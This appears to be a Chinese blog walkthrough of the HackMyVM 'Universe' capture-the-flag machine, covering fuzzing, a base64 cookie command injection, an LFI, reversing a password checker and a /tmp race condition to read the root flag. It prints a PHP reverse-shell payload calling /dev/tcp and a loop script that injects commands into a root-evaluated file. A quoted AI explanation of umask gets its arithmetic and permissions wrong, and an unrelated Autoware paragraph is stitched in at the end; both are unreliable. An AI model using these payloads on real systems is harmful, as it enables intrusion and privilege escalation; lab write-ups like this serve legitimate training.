Universe - hackmyvm

简介

难度:困难

靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Universe

本地环境

虚拟机:vitual box

靶场IP(universe):192.168.56.108

跳板机IP(windows 10):192.168.56.1 192.168.190.100

渗透机IP(ubuntu 22.04):192.168.190.30

扫描

简单扫一下

nmap -p 1-65535 -T4 -A -v 192.168.56.108/32

image-20240401212954922

确定目标为21端口和22端口

1212端口看着奇怪,其实也就是http

image-20240401213633815

随便访问几下发现users会随机变动,于是fuzz一下

ffuf -w ./dic.txt -u http://192.168.56.108:1212/\?user\=FUZZ -fw 550  -t 50 -c

image-20240402133335471

得到特定user为9

image-20240402133430567

Cookie

根据网页显示,好像要传入cookie,但exec直接传入值会报错

image-20240402134136076

于是编码成base64,这下成功弹到shell了

image-20240402134347701

image-20240402140903705

提权

升级shell

/usr/bin/script -qc /bin/bash /dev/null

转发

image-20240402151904506

可以看到有一个本地才能访问的8080端口

这里直接传个frp,做个转发。
正常转发倒也不必这么大费干戈,socat就能搞了,这里是为了方便后续渗透(虽然事后发现根本没必要)

$cat frps.toml
bindPort = 47000
$cat frpc.toml
serverAddr = "192.168.56.1"
serverPort = 47000

[[proxies]]
name = "web"
type = "tcp"
localIP = "127.0.0.1"
localPort = 8080
remotePort = 8080

跳板机转发配置:

netsh interface portproxy show all

侦听 ipv4:                 连接到 ipv4:

地址            端口        地址            端口
--------------- ----------  --------------- ----------
0.0.0.0         40000       192.168.190.30  40000
0.0.0.0         40001       192.168.190.30  40001
0.0.0.0         47000       192.168.190.30  47000

然后就能直接访问了

image-20240402152440664

LFI

看着像LFI,事实上也确实如此,试了几个绕过后发现是./…//…//…//来返回上级目录

image-20240402155745223

这里直接传个php的反弹shell即可

<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.1/40001 0>&1'");?>

image-20240402161313938

提权

sudo -l 起手

image-20240402174624003

除了Quasar之外,这个目录下还有一个print.sh脚本

void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
    umask 110
    /usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"

先把Quasar脱下来具体看看怎么回事

逆向

image-20240402175040618

经过一系列检测之后,程序会执行print.sh

那么我们需要输入些什么呢?

首先可以看到sub_1414是sha256加密

unsigned __int64 __fastcall sub_1414(__int64 a1, __int64 a2)
{
  int i; // [rsp+1Ch] [rbp-ACh]
  char v4[112]; // [rsp+20h] [rbp-A8h] BYREF
  char v5[40]; // [rsp+90h] [rbp-38h] BYREF
  unsigned __int64 v6; // [rsp+B8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  SHA256_Init(v4);
  SHA256_Update(v4, a1, 10LL);
  SHA256_Final(v5, v4);
  for ( i = 0; i <= 31; ++i )
    sprintf((char *)(a2 + 2 * i), "%02x", (unsigned __int8)v5[i]);
  *(_BYTE *)(a2 + 64) = 0;
  return v6 - __readfsqword(0x28u);
}

也就是说,原文a1在加密后又通过sha256编码,最后和我们输入的a2的sha256值进行比对

所以逻辑也很简单了,只要在a1和a2比对的位置处下断就可以了

image-20240402180241440

动调

这边我使用了pwngdb。感觉麻烦的话使用idaserver然后远程调试也是可以的,我主要是打pwn习惯了。

首先看看安全机制

checksec ./Quasar

image-20240402180509289

其他不用管,可以看到开启了PIE,所以基址不定

动调之前记得随便设个参数set args 2,否则会走到"Uso: ./Quasar <password>"

然后下断用b *$rebase(0x1579)即可

image-20240402180947015

然后就可以到cmd5上面直接解了

image-20240402175629348

如果不想付费的话也可以下断到0x1549,然后查看rdi参数即可。只不过前者更容易理解而已。

image-20240402181347678

密码就是9740252204

写入竞争

print.sh脚本看的不是很明白,让文心看看

这段 Bash 脚本执行了以下操作:

1. 使用 `mktemp` 命令在 `/tmp` 目录下创建了一个临时文件,其名称以 `read-` 开头,后面跟着五个随机字符。这个临时文件的路径被存储在变量 `tmp_file` 中。
2. 在一个子 shell(由 `(` 和 `)` 包围)中,首先使用 `umask` 命令设置了文件创建掩码为 `110`(即八进制的 110,转换为十进制为 72,二进制为 0100 1000)。这意味着新创建的文件将具有默认的权限,但会去掉 group write(组写)和 other write(其他写)权限。然后,使用 `touch` 命令创建或更新这个临时文件的时间戳。
3. 回到主 shell,使用 `echo` 命令将字符串 "test" 写入这个临时文件。
4. 使用 `cat` 命令读取临时文件的内容,并将其存储在变量 `data` 中。
5. 最后,使用 `eval` 命令执行 `data` 变量中的内容。```

也就是说,如果在启动该脚本时、执行umask之前把我们自己的shell脚本写入,就可以eval我们的命令

另起一个终端,然后执行以下shell脚本

#!/bin/bash

while true; do
    # 查找 /tmp 目录下以 read 开头的文件
    read_files=$(find /tmp -maxdepth 1 -type f -name 'read*')

    # 遍历找到的每个文件
    for file in $read_files; do
          # 向文件写入 "cat /root/root.txt"
          echo "cat /root/root.txt" >> "$file"
          echo "Wrote to file: $file"
    done
done

竞争成功

image-20240402184052704

root{k7Ei4kA88gtL957yYbWdRfVJg}

  • 8
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Autoware Universe 是一个开源软件项目,旨在为自动驾驶提供全面的解决方案。它由 Tier IV 公司领导开发,提供自动驾驶的算法库和相关工具,以及可以在车辆上运行的软件平台。 Autoware Universe 建立在ROS(机器人操作系统)的基础上,利用ROS提供的各种功能和模块,使得开发者可以更快速、更高效地构建自动驾驶系统。 Autoware Universe 提供了多个核心功能模块,包括感知、规划、控制等。感知模块利用传感器(如激光雷达、摄像头等)获取车辆周围的环境信息,识别和跟踪其他车辆、行人等。规划模块则根据感知信息和车辆状态,生成相应的轨迹或路径规划。控制模块负责根据规划结果,控制车辆的加速度、转向等参数。 Autoware Universe 还支持多种车辆模型和传感器配置,能够适应不同类型的车辆和需求。此外,Autoware Universe 还提供了丰富的工具和可视化界面,方便开发者进行参数配置、数据记录和可视化分析。 Autoware Universe 的开源性质使得开发者可以自由地使用、修改和分享代码,形成一个庞大的开源社区。这个社区可以共同改进和完善Autoware Universe,推动自动驾驶技术的发展。 总之,Autoware Universe 是一个全面的自动驾驶解决方案,通过提供算法库、软件平台和开源社区支持,帮助开发者快速构建、测试和部署自动驾驶系统。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值